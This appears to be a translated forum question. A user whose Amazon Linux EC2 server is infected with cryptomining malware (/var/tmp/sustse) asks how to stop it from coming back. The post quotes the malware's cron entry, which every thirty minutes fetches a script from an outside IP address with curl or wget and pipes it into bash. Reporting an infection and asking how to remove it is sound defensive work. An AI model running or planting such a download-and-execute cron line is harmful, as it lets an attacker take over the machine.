![如何清除感染我的 Amazon Linux EC2 服务器的加密挖掘恶意软件?](https://linux22.com/image/1592472/%E5%A6%82%E4%BD%95%E6%B8%85%E9%99%A4%E6%84%9F%E6%9F%93%E6%88%91%E7%9A%84%20Amazon%20Linux%20EC2%20%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E5%8A%A0%E5%AF%86%E6%8C%96%E6%8E%98%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%EF%BC%9F.png)
从前几天开始,我注意到在我的 EC2 Linux 实例上运行的应用程序非常慢。运行top
命令显示有一个进程/var/tmp/sustse
占用了大部分 CPU。
我终止了该进程。但是,重新启动实例后,它再次开始运行并占用了大部分 CPU。它还为以下脚本创建了 cron 条目:
*/30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
我在谷歌上搜索后发现这是一个加密货币挖矿恶意软件。我已从/var/tmp/并删除了 Crontab 中的条目。但是,Crontab 中的这些条目似乎是从某个地方回来的,我无法追踪生成这些条目的脚本的确切位置。
我还清理了 /var/spool/cron* 条目。
我在网上没有找到太多信息来解决这个问题。任何帮助我都会非常感激。
提前致谢!!